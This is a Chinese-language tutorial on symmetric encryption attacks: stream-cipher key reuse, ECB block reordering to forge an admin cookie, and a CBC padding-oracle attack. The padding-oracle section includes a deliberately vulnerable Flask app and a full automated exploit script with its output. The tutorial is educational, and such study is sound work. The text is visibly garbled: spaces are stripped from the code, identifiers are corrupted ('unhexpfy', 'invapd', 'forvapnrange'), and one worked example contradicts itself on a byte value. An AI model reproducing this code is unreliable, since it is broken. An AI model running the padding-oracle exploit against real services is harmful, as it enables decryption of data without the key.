發(fā)布源:深圳維創(chuàng)信息技術發(fā)布時間:2020-10-28 瀏覽次數: 次
本文主要介紹常見的數據對稱加密算法和它們的原理,然后分析一些實際存在的密碼學攻擊案例,包括數據流加密密鑰重用漏洞、ECB塊重排攻擊以及CBC的Padding Oracle攻擊等。
一、數據對稱加密當今我們所使用的加密算法,大致可以分為兩類,即對稱加密與非對稱加密。
其中對稱加密所能加密的內容長度一般受密鑰長度的限制,且加密速度較慢,因此通常會與對稱加密算法結合使用,即使用對稱加密來對明文進行加密,再使用私鑰對對稱加密的密鑰進行加密。
本文主要關注對稱加密。
對稱加密在消息通信的兩端共享相同密鑰,加密算法一般分為兩種類型:流加密(Stream Ciphers):逐字節(jié)加密數據塊加密(Block Ciphers):逐塊加密數據其中塊加密的塊大小與具體加密算法的實現有關,常見的塊大小有128、256位等。
1. 流加密流加密會逐字節(jié)加密數據,最常見的流加密算法就是SSL中用到的RC4算法了。
其本質上是以密鑰為種子(seed)產生的隨機數來對明文進行逐字節(jié)異或。
0xor00=00xor11=11xor0=11xor1=0流加密本質上依賴于隨機數生成器的隨機性,其隨機性越強,加密強度就越大。
2. 塊加密塊加密也稱為分組加密,也是大多數人比較熟悉的。
AES、DES、3DES、Towfish等常見的加密算法都是塊加密。
在塊加密中,原始數據會被分割成若干個大小為N的塊,并分別對這些塊進行加密。
由于我們不能保證數據是N的倍數,因此需要對數據進行填充(Padding),這增加了實現的復雜度。
一般來說,與流加密相反,塊加密的解密流程和加密流程往往是不同的。
二、Padding一種常見的填充方式是不論數據大小是否對齊塊邊界,都進行填充,而填充的內容為填充的字節(jié)數。
比如塊大小為8字節(jié),那么可能有以下填充:‘AAAAAAA’+‘\x01’‘AAAAAA’+‘\x02\x02’&helpp;‘AA’+‘\x06’*6‘A’+‘\x07’*7‘\x08’*8這就是PKCS#7中所定義的填充方式。
三、加密模式塊加密算法對數據進行逐塊加密,有很多加密模式(mode)用于實現塊的加密。
這些加密模式大都可以歸類為兩種,即ECB模式和CBC模式。
1. ECBECB全稱為Electronic CodeBook,是塊加密中比較簡單的加密模式。
在ECB模式中,每一塊明文數據都被獨立地進行加密來生成加密塊。
這意味著如果你發(fā)現兩個加密塊有相同的內容,那么就可以確定這兩個加密塊的原文也是相同的。
這看起來好像沒什么大不了的,但我們可以考慮這么一種情況,比如要加密的對象是一張圖像,我們使用ECB加密算法,并且設置塊大小為8字節(jié)(DES),加密后的圖像如下:雖然和原圖有所區(qū)別,但也足以明顯地看出原圖的大致內容。
2. CBCCBC全稱為Cipher-Block Chaining,算是最常見的塊加密模式了。
在CBC模式中,每個明文塊都會在加密前被使用前一個明文塊的秘文進行異或;解密過程則正好相反。
其中第一個明文塊會被使用IV即初始化向量進行異或。
由于CBC模式中各個塊會相互鏈接,在第一個加密塊(Block0)中翻轉某一位,則會在解密后導致對應的下一個明文塊中(Block1)相同的位進行翻轉。
這項特性也導致了許多有趣的bug,后面會說到。
四、常見攻擊下面我們來介紹一下在現實中很常見的一些加密算法缺陷所導致的攻擊場景。
1. 流加密重用攻擊也常稱為Stream Cipher Reuse Attack,指多次使用相同的流加密密鑰可導致明文泄露。
前面說過,流加密實際上是使用密鑰生成隨機序列,然后用該序列來對明文逐位異或加密。
假設生成的隨機序列為C(K),加密函數為E(),那么對于明文A、B來說,則:E(A)=AxorCE(B)=BxorC進行簡單的數學運算:E(A)xorE(B)=(AxorC)xor(BxorC)=AxorBxorCxorC=AxorB這意味著如果攻擊者可以拿到A、B的密文E(A)、E(B),以及攻擊者自己的明文B,就可以在無需知道密鑰的情況下計算出A的明文:A=E(A)xorE(B)xorB眼見為實,我們使用RC4流加密為示例,首先使用openssl生成兩個文件的密文(使用相同密鑰):$cat1.txthello$cat2.txtworld$opensslrc4-nosalt-in1.txt>1.enc$opensslrc4-nosalt-in2.txt>2.enc接著,在已知1.enc、2.enc以及2.txt的情況下,還原1.txt的內容:#!/usr/bin/envpython3defload(file):withopen(file,'rb')asf:data=f.read()print('loaded',len(data),'bytesfrom',file)returndatadefxor(lhs,rhs):returnbytes(a^bfora,binzip(lhs,rhs))#A=load('./1.txt')A_enc=load('./1.enc')B=load('./2.txt')B_enc=load('./2.enc')print('E(A)=',A_enc)print('E(B)=',B_enc)print('B=',B)print('A=',xor(xor(B,B_enc),A_enc))輸出:$python3stream.pyloaded6bytesfrom./1.encloaded6bytesfrom./2.txtloaded6bytesfrom./2.encE(A)=b'\xa1\xb1`\x1b\xa7\x97'E(B)=b'\xbe\xbb~\x1b\xac\x97'B=b'world\n'A=b'hello\n'在密鑰未知的情況下,依然成功還原了1.txt的明文內容。
防御這種攻擊的方法就是盡可能不要重用流加密的密鑰,常見的實現是在加密前將密鑰與隨機數nonce進行運算。
2. ECB塊重排攻擊前文說過,在塊加密中ECB模式中每個塊都是獨立加密的。
因此攻擊者可以在未知密鑰的情況下,對密文中的塊進行重新排列,組合成合法的可解密的新密文。
考慮這么一種場景,某CMS的cookie格式為DES-ECB加密后的數據,而明文格式如下:admin=0;username=pan由于DES使用的塊大小是8字節(jié),因此上述明文可以切分成三個塊,其中@為填充符號:admin=0;username=pan@@@@假設我們可以控制自己的用戶名(在注冊時),那么有什么辦法可以在不知道密鑰的情況下將自己提取為管理員呢(即admin=1)?首先將用戶名設置為pan@@@@admin=1;,此時明文塊的內容如下:admin=0;username=pan@@@@admin=1;我們所需要做的,就是在加密完成后,將服務器返回的cookie使用最后一個塊替換第一個塊,這樣一來就獲得了一個具有管理員權限的合法cookie了。
完整例子就不整了,這里只證明一下這種方式的可行性,首先使用DES-ECB加密明文:$$catadmin.txtadmin=0;username=pan$openssldes-ecb-nosalt-inadmin.txt>admin.enc$xxdadmin.enc00000000:029307cd88f3026ec61e12841a6e6853.......n.....nhS00000010:e0b271693ee40b9a..qi>...然后修改密文,將前兩個塊(8字節(jié))替換,然后使用相同的密鑰進行解密:$xxdadmin1.enc00000000:c61e12841a6e6853029307cd88f3026e.....nhS.......n00000010:e0b271693ee40b9a..qi>...$openssldes-ecb-nosalt-d-inadmin1.encusernameadmin=0;=pan可以看到,該攻擊方法確實是對ECB塊加密算法有效的。
類似的利用方式還有在能夠解密的情況下,將其他密文的對應塊替換到自己的密文塊中,從而獲取其他密文塊的明文數據。
比如上述例子如果可以通過cookie獲取用戶名,那么可以將其他密文塊放到用戶名部分從而獲取其他加密的信息。
該攻擊和其他類似的攻擊其實有一個共同點,我們無法獲取和猜解原始數據,但可以通過修改密文數據并讓服務器去成功解密。
因此應對此攻擊的方法就很明顯了,即在加密后再添加MAC校驗。
注意這里說的是先加密后MAC,如果順序反了,那在處理數據時就要先解密再校驗MAC,這有可能會導致一系列安全問題,比如下面將提到的密文填塞(Padding Oracle)攻擊。
3. Padding Oracle Attack在介紹該攻擊之前,可以先回顧一下關于填充的知識。
在PKCS#7系統(tǒng)中,我們可以通過最后一個塊的最后一個字節(jié)得知填充的大小以及校驗填充是否合法。
密文填塞(Padding Oracle Attack)攻擊通常出現在CBC塊加密模式以及PKCS#7填充的情況下。
如果服務器在解密數據時對于填充合法的密文和填充不合法的密文有不同的返回,我們就能利用這種先驗知識(Oracle)來填塞數據。
再回想一下我們介紹CBC塊加密時說過,在一個加密塊(Block N)中翻轉某一位,則會在解密后導致對應的下一個明文塊(Block N+1)中相同的位進行翻轉。
由于這個特性,我們可以在不知道密鑰的情況下,使用服務器來猜解出明文數據。
最后一字節(jié)具體怎么做呢?再次仔細思考一下CBC模式的解密流程,若要解密一個塊,則需要其本身的密文C2以及前一個塊的密文C1,解密的流程如下:在這種攻擊場景下,我們(攻擊者)可以控制輸入密文塊的內容,并且獲取服務器的差異化返回,即是否填充錯誤。
假設C2是最后一個塊,那么通過變異C1,就可以猜解C2明文。
猜解過程如下:將C1前15字節(jié)隨機設置,第16字節(jié)設置為’\x00’將修改后的密文塊發(fā)送給服務器解密由于我們修改了C1的最后一個字節(jié),那么根據上文介紹,在解密后C2的明文P2最后一個字節(jié)也會進行改變,變成什么我們還不知道,但是我們知道:P2[15]=I2[15]xorC1[15]其中I2是解密算法如AES解密后的中間值,我們不關心具體解密算法,但總有這么個值。
然后,根據服務器的返回我們知道有兩種可能:返回填充不合法。此時P2[15]未知。返回填充合法。此時P2[15]肯定為0x01,因為只有這樣才能出現合法的填充。
如果是第一種情況,我們就繼續(xù)變異C1[15],直到出現合法的填充,即第二種情況。
假設我們在變異到C1[15] = 0x42時才出現合法填充,則此時有:P2[15]=I2[15]xorC1[15]I2[15]=P2[15]xorC1[15]=0x01xor0x26=0x27回顧一下上圖,I2的產生與C1無關,只與C2和密鑰key相關,但是我們卻計算出了I2[15]的值!因此我們可以用I2[15]異或上變異前的C1[15]從而獲得原始的明文。
P2[15]=0x27xorC1[15]這就是Padding Oracle攻擊的思路。
五、下一個字節(jié)為了完成攻擊,我們繼續(xù)使用類似方式猜解I2中更多的內容。
將C1前14字節(jié)設置為隨機值C1[14]設置為0×00C1[15]設置為能令P2[15] = 0x02的值P2[15]=I2[15]xorC1[15]C1[15]=P2[15]xorI2[15]=0x02xor0x27=0x25即將C1[15]固定為0×25,繼續(xù)爆破C1[14]知道出現合法的填充,此時P2[14]=0x02,假設出現合法填充時候爆破的C1[14]值為0×68:P2[14]=I2[14]xorC1[14]=0x02I2[14]=P2[14]xorC1[14]=0x02xor0x68=0x6A再一次,我們獲得了真實的I2[14]值,從何可以算出原始的明文P2[14]。
以此類推,最終我們可以計算出完整的明文P2內容。
六、下一個塊根據上述方法,我們已經可以還原最后一個密文塊的明文了。
而對于CBC模式,每個密文塊的解密僅和當前塊以及前一個塊相關,因此上述攻擊可以應用到所有塊中,除了第一個。
第一個塊的加解密使用初始化向量IV進行,對此沒有通用破解方法。
但是CBC加密中IV也不是必須保密的,因此在實踐中通常會組合到密文的最前面或者最后面,其長度和塊大小相同。
如果一定要解密第一個塊,可以使用這種猜測方法。
七、示例實踐出真知,我們來看一個具體的例子。
首先用Flask寫一個簡單的應用,如下:#!/usr/bin/envpython3importbinasciiimportstringimportrandomfromCrypto.CipherimportAESfromCrypto.Util.Paddingimportpad,unpadfromflaskimportFlask,requestapp=Flask(__name__)db={}BSIZE=16secret=b'\x26'*BSIZEdefget_iv():returnb'\x00'*BSIZEdefdecrypt(data):datadata=data.encode()data=binascii.unhexpfy(data)iv=data[:BSIZE]engine=AES.new(key=secret,mode=AES.MODE_CBC,iviv=iv)datadata=data[BSIZE:]data=engine.decrypt(data)data=unpad(data,BSIZE)returndata.decode()defencrypt(data):datadata=data.encode()iv=get_iv()engine=AES.new(key=secret,mode=AES.MODE_CBC,iviv=iv)returnbinascii.hexpfy(iv+engine.encrypt(pad(data,BSIZE))).decode()@app.route('/dec/<data>')defdec(data):#print('dec:',data)try:key=decrypt(data)exceptExceptionase:return'Error:'+str(e)ifkeynotindb:return'Error:invapdkey'returndb[key]@app.route('/enc/<key>')defenc(key):db[key]='vapd'returnencrypt(key)app.run(debug=False)該應用可以接收一個明文返回其密文(enc),也可以接收密文返回對應信息。
$curlhttp://localhost:5000/enc/See_you_in_Red_Square_at_4_pm00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455$curlhttp://localhost:5000/dec/00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455vapd$curlhttp://localhost:5000/dec/00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8466Error:Paddingisincorrect.作為攻擊者,我們拿到的只有加密后的信息,目的就是要將其解密,查看明文內容:00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455方便起見,我們假設已知服務器使用的是AES-128-CBC加密算法,且IV組合在密文頭部。
其實不知道也沒關系,只不過需要多試幾次罷了。
根據前面介紹的原理,我們先將密文分割成128/8=16字節(jié)的3個塊:block[0]='00000000000000000000000000000000'block[1]='c8ab1c881b40d54d81d1efab429ad239'block[2]='dac1d6573e7c26d533ffc3cbc23a8455'經測試,當服務器遇到填充錯誤會返回Error: Padding is incorrect.或者Error: PKCS#7 padding is incorrect.,那么這就可以作為我們Padding Oracle攻擊的依據。
首先將block[1]最后一字節(jié)從0×00開始到0xff不斷變異嘗試,發(fā)現當值為0x3b時候出現了非Padding錯誤,此時:I2[15]=_C1[15]^_P2[15]=0x3b^0x01=0x3a則明文最后一字節(jié)為:P2[15]=I2[15]xorC1[15]=0x3a^0x39=0x03依此類推,不斷從后往前猜解每個字節(jié)的值。
一個簡單的自動化腳本如下:#!/usr/bin/envpython3importtimeimportrequestsimportbinasciiurl='http://localhost:5000/dec/'data='00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455'BSIZE=16deftest(data):r=requests.get(url+data)returnr.textb=binascii.unhexpfy(data)nblocks=int(len(b)/BSIZE)blocks=[]print('nblocks:',nblocks)foriinrange(nblocks):bblk=b[i*BSIZE:(i+1)*BSIZE]print(f'block[{i}]=',binascii.hexpfy(blk))blocks.append(blk)print('iv:',b[:BSIZE])blockID=-1prevID=blockID-1print(f'decryptingblock[{blockID}],prev=',binascii.hexpfy(blocks[prevID]))plaintext=bytearray(16)inter=bytearray(16)forbyteIdxinrange(BSIZE-1,-1,-1):prevBlock=bytearray(blocks[prevID])print(f'mutatingblock[{prevID}][{byteIdx}]')origin=prevBlock[byteIdx]padValue=BSIZE-byteIdx#將byteIdx之前的值可以任意隨機設置foriinrange(byteIdx):prevBlock[i]=0x11#將byteIdx之后的值設置為令其明文為padValue的值foriinrange(byteIdx+1,BSIZE):prevBlock[i]=inter[i]^padValueprint('begin:',prevBlock.hex())found=Falseforvapnrange(0x100):prevBlock[byteIdx]=val_blocks=blocks.copy()_blocks[prevID]=bytes(prevBlock)payload=b''.join(_blocks)payload=binascii.hexpfy(payload).decode()resp=test(payload)#print(f'testing',binascii.hexpfy(prevBlock),'->',resp,end='\r')if'incorrect'inresp:continuei2=padValue^valp2=origin^i2inter[byteIdx]=i2plaintext[byteIdx]=p2print(f'foundc={val},i={padValue}^{val}={i2},o={origin},p={p2}')found=Truebreakifnotfound:print('Error:novapdvaluefound')breakprint('plaintext=',plaintext)運算結果為:$python3padding_oracle_exp.pynblocks:3block[0]=b'00000000000000000000000000000000'block[1]=b'c8ab1c881b40d54d81d1efab429ad239'block[2]=b'dac1d6573e7c26d533ffc3cbc23a8455'iv:b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'decryptingblock[-1],prev=b'c8ab1c881b40d54d81d1efab429ad239'mutatingblock[-2][15]begin:11111111111111111111111111111139foundc=59,i=1^59=58,o=57,p=3mutatingblock[-2][14]begin:1111111111111111111111111111d238foundc=211,i=2^211=209,o=210,p=3mutatingblock[-2][13]begin:111111111111111111111111119ad239foundc=154,i=3^154=153,o=154,p=3mutatingblock[-2][12]begin:111111111111111111111111429dd53efoundc=43,i=4^43=47,o=66,p=109mutatingblock[-2][11]begin:1111111111111111111111ab2a9cd43ffoundc=222,i=5^222=219,o=171,p=112mutatingblock[-2][10]begin:11111111111111111111efdd299fd73cfoundc=182,i=6^182=176,o=239,p=95mutatingblock[-2][9]begin:111111111111111111d1b7dc289ed63dfoundc=226,i=7^226=229,o=209,p=52mutatingblock[-2][8]begin:111111111111111181edb8d32791d932foundc=214,i=8^214=222,o=129,p=95mutatingblock[-2][7]begin:111111111111114dd7ecb9d22690d833foundc=48,i=9^48=57,o=77,p=116mutatingblock[-2][6]begin:111111111111d533d4efbad12593db30foundc=190,i=10^190=180,o=213,p=97mutatingblock[-2][5]begin:111111111140bf32d5eebbd02492da31foundc=20,i=11^20=31,o=64,p=95mutatingblock[-2][4]begin:111111111b13b835d2e9bcd72395dd36foundc=114,i=12^114=126,o=27,p=101mutatingblock[-2][3]begin:111111887312b934d3e8bdd62294dc37foundc=247,i=13^247=250,o=136,p=114mutatingblock[-2][2]begin:11111cf47011ba37d0ebbed52197df34foundc=115,i=14^115=125,o=28,p=97mutatingblock[-2][1]begin:11ab72f57110bb36d1eabfd42096de35foundc=209,i=15^209=222,o=171,p=117mutatingblock[-2][0]begin:c8ce6dea6e0fa429cef5a0cb3f89c12afoundc=169,i=16^169=185,o=200,p=113plaintext=bytearray(b'quare_at_4_pm\x03\x03\x03')這樣,我們就在無需知道服務端密鑰的情況下,成功還原了最后一個塊的明文。
逐塊處理,就可以還原完整的內容了。
當然還有值得優(yōu)化的地方,比如爆破出最后一字節(jié)明文后,可以根據Padding原理直接跳過若干字節(jié),加快爆破的速度,以及使用IV還原第一個塊等。
八、小結本文介紹了生活中常見的對稱加密算法,包括流加密和塊加密。
其中流加密為逐字節(jié)加密,類如RC4等算法容易受到密鑰重用攻擊的影響,導致攻擊者在無需知道密鑰的情況下還原密文;而塊加密將數據分割為一個個塊再分別進行加密,ECB中各個塊獨立加密,容易收到重排攻擊的影響,CBC中每個塊加密后會與前一個塊密文進行異或,在填充規(guī)律已知的情況下,容易收到Padding Oracle攻擊的影響。
緩解密鑰重用的方式一般是增加隨機數nonce,而繞過密鑰獲取/修改明文的攻擊則可以通過對加密數據添加完整性保護(MAC)。
加密算法本身沒有漏洞,但是使用不當也能導致嚴重的安全問題,關鍵是需要理解所使用的加密算法基本原理。
Copyright © 2021 深圳市維創(chuàng)信息技術有限公司 版權所有